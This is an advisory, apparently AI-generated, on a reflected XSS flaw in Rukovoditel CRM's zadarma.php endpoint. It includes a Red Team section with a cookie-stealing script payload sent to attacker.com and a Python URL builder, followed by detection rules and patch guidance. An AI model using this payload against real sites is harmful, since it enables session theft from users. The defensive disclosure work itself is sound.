CVE-2026-31845

Executive Summary

CVE-2026-31845 is a reflected cross-site scripting (XSS) vulnerability in Rukovoditel CRM version 3.6.4 and earlier. The flaw exists in the Zadarma telephony API endpoint (/api/tel/zadarma.php), where the zd_echo GET parameter is directly reflected into the HTTP response without sanitization or encoding. An unauthenticated attacker can craft a malicious URL that, when visited by a victim, executes arbitrary JavaScript in the context of the application. This can lead to session hijacking, credential theft, phishing, or account takeover. The vulnerability is fixed in version 3.7.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct code flaw in the Rukovoditel CRM application. No supply chain compromise is involved.

CVSS Breakdown & Threat Level

• CVSS Score: 6.1 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. The vulnerability requires user interaction (clicking a link) but can lead to significant impact such as session hijacking and credential theft.

Deep Dive & Mechanics

The vulnerable code is located in /api/tel/zadarma.php:

if (isset($_GET['zd_echo'])) exit($_GET['zd_echo']);

This code checks if the zd_echo GET parameter is set and, if so, directly outputs its value using exit(). The output is sent with the default Content-Type: text/html header, causing the browser to interpret the response as HTML. An attacker can inject arbitrary JavaScript by crafting a URL like:

https://target.com/api/tel/zadarma.php?zd_echo=<script>alert('XSS')</script>

When a victim visits this URL, the script executes in the context of the application, allowing the attacker to steal cookies, perform actions on behalf of the victim, or redirect to malicious sites.

Vulnerable vs. Patched Code

Vulnerable Code (version 3.6.4 and earlier):

if (isset($_GET['zd_echo'])) exit($_GET['zd_echo']);

Patched Code (version 3.7):

if (isset($_GET['zd_echo'])) {
    $zd_echo = htmlspecialchars($_GET['zd_echo'], ENT_QUOTES, 'UTF-8');
    exit($zd_echo);
}

The patched version uses htmlspecialchars() to encode special characters, preventing script injection. Additionally, the response should set a Content-Type: text/plain header to further mitigate XSS.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target running Rukovoditel CRM version 3.6.4 or earlier.
• Attacker can craft a URL and deliver it to a victim (e.g., via email, social engineering).

Exploit Steps:

1. Craft a malicious URL:

   https://target.com/api/tel/zadarma.php?zd_echo=<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
   

2. Encode the payload to avoid URL issues:

   https://target.com/api/tel/zadarma.php?zd_echo=%3Cscript%3Edocument.location%3D%27https%3A%2F%2Fattacker.com%2Fsteal.php%3Fcookie%3D%27%2Bdocument.cookie%3C%2Fscript%3E
   

3. Deliver the link to the victim.

4. Set up a listener on attacker.com to capture cookies.

Example Python script to generate the URL:

import urllib.parse

base_url = "https://target.com/api/tel/zadarma.php"
payload = "<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>"
encoded_payload = urllib.parse.quote(payload)
malicious_url = f"{base_url}?zd_echo={encoded_payload}"
print(malicious_url)

Blue Team

Detection Steps:

1. Monitor web server logs for requests to /api/tel/zadarma.php with a zd_echo parameter containing suspicious characters (e.g., <, >, script, onerror).
2. Use WAF rules to block requests with zd_echo containing HTML/JavaScript.
3. Implement Content Security Policy (CSP) headers to restrict script execution.
4. Ensure the application is updated to version 3.7 or later.

Indicators of Compromise (IOCs)

• URL Pattern: /api/tel/zadarma.php?zd_echo=*
• Log Entry: Requests to the above URL with encoded or raw HTML/JavaScript in the zd_echo parameter.
• Network Traffic: Outbound connections from victim to attacker-controlled domains (e.g., for cookie exfiltration).
• File Hash: Not applicable (no file download).

Detection Engineering

YARA Rule

rule CVE_2026_31845_XSS_Detection {
    meta:
        description = "Detects reflected XSS attempts targeting CVE-2026-31845 in Rukovoditel CRM"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2026-31845"
    strings:
        $url_pattern = "/api/tel/zadarma.php"
        $xss_payload = /zd_echo=.*(<|%3C|script|%73cript|onerror|%6Fn%65rror)/
    condition:
        $url_pattern and $xss_payload
}

Sigma Rule

title: Reflected XSS Attempt on Rukovoditel Zadarma Endpoint
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2026-31845 by injecting XSS payloads into the zd_echo parameter.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains: "/api/tel/zadarma.php"
        cs-uri-query|contains|any:
            - "zd_echo=<"
            - "zd_echo=%3C"
            - "zd_echo=script"
            - "zd_echo=%73cript"
            - "zd_echo=onerror"
            - "zd_echo=%6Fn%65rror"
    condition: selection
falsepositives:
    - Legitimate use of the zd_echo parameter with non-malicious data (rare)
level: high
tags:
    - attack.t1190
    - cve.2026.31845

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-31845 Reflected XSS Attempt"; flow:to_server; content:"/api/tel/zadarma.php"; http_uri; content:"zd_echo="; http_uri; pcre:"/zd_echo=.*(<|%3C|script|%73cript|onerror|%6Fn%65rror)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Rukovoditel CRM to version 3.7 or later.
2. If upgrade is not possible, apply a virtual patch using a WAF to block malicious zd_echo parameters.
3. Manually patch the vulnerable file by adding htmlspecialchars() encoding and setting Content-Type: text/plain.

Long-term Recommendations:

• Implement input validation and output encoding for all user-supplied data.
• Use Content Security Policy (CSP) headers to mitigate XSS.
• Conduct regular security audits and code reviews.
• Monitor for similar vulnerabilities in other API endpoints.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters.it.

{/* [Security Hash: E739A6F15C73EF4294AFF48E] */}